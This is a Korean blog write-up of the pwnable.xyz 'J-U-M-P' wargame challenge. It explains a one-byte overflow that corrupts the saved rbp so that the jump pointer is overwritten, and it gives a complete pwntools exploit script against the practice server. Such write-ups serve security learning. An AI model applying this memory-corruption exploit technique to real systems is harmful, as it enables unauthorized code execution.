본문으로 바로가기

pwnable.xyz / J-U-M-P

category Wargame/pwnable.xyz 2020. 1. 15. 05:02

read_int8 이 수상하다.

 

int __fastcall read_int8()
{
  char buf[32]// [rsp+0h] [rbp-20h]

  read(0buf0x21uLL);
  return atoi(buf);
}

 

buf 의 위치는 rbp-0x20 인데 read 함수에서 최대 0x21 크기의 데이터를 입력받고 있다. main 함수의 stack frame에서 rbp 레지스터의 하위 1바이트를 조작할 수 있다는 의미다.

 

int __fastcall main(int argc, const char **argv, const char **envp)
{
  uint8_t menu// [rsp+2Fh] [rbp-11h]
  uint64_t canary// [rsp+30h] [rbp-10h]
  void *jump// [rsp+38h] [rbp-8h]

  setup();
  canary = gen_canary();
  puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n");
  jump = &loc_BA0;

  while ( 1 )
  {
    print_menu();
    printf("> ");
    menu = read_int8();

    switch ( menu )
    {
      case 2u:
        jump = (void *)(int)((unsigned int)jump ^ menu);
        break;

      case 3u:
        printf("%p\n"environ);
        break;

      case 1u:
        if ( canary == ::canary )
          __asm { jmp     rax }
        break;

      default:
        puts("Invalid");
        break;
    }
  }
}

 

이 프로그램에서는 다음과 같은 2가지 기능을 쓸 수 있다.

  • main 함수의 스택 내부의 canary 와 전역변수 canary 의 값이 같으면, jump 로 실행 흐름을 변경할 수 있다.
  • environ 을 출력하여 스택 주소를 알아낼 수 있다.

2번 메뉴는 jump 변수를 4바이트로 잘라먹기 때문에 전혀 쓸모없는 기능이다.

 

한편 main 함수에서는 지역변수에 접근할 때 rbp 레지스터를 사용한다.

 

.text:0000000000000BE8                 mov     rax, cs:canary
.text:0000000000000BEF                 cmp     [rbp+canary], rax
.text:0000000000000BF3                 jnz     short loc_C3F
.text:0000000000000BF5                 mov     rax, [rbp+jump]
.text:0000000000000BF9                 jmp     rax

 

앞서 언급했던, main 함수에서 rbp 레지스터 값을 수정할 수 있다는 점을 활용해야 한다.

 

 

main 함수에서 rbp 의 값을 9 증가시키면 menu 에 접근하는 rbp-0x11 은 메모리 상에서 기존의 jump 변수를 가리키게 된다. 이 방법으로 jump 의 하위 2바이트를 패치하여 win+4 주소로 값을 변경하고, rbp 레지스터를 기존 값으로 복원한 뒤 1번 메뉴를 통해 플래그를 출력할 수 있다.

 

바이너리가 PIE로 컴파일되었기 때문에 1/16의 확률로 성공한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))

def log_error(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))

def exploit() :
    p.writelineafter(b'> 'b'3')
    main_rbp = int(p.readline(keepends=False), 16) - 0xF8

    log_info('main rbp = '+hex(main_rbp))

    payload = str(0x7B).encode().ljust(0x20b'\x00')
    payload += p64(main_rbp+9)[:1]

    p.writeafter(b'> ', payload)

    payload = str(0x0B).encode().ljust(0x20b'\x00')
    payload += p64(main_rbp+10)[:1]

    p.writeafter(b'> ', payload)

    payload = str(0x1).encode().ljust(0x20b'\x00')
    payload += p64(main_rbp)[:1]

    p.writeafter(b'> ', payload)

    try :
        result = p.read()

        if b'FLAG' in result :
            print(result.decode())
            exit()

        raise EOFError
    except EOFError :
        log_error('Failed')


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30012)
    else :
        p = process('./challenge')

    exploit()

 

 

 

 

Last update: 2/7/2021

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / iape  (0) 2020.01.16
pwnable.xyz / strcat  (0) 2020.01.16
pwnable.xyz / SUS  (0) 2020.01.14
pwnable.xyz / fspoo  (0) 2020.01.14
pwnable.xyz / Game  (0) 2020.01.13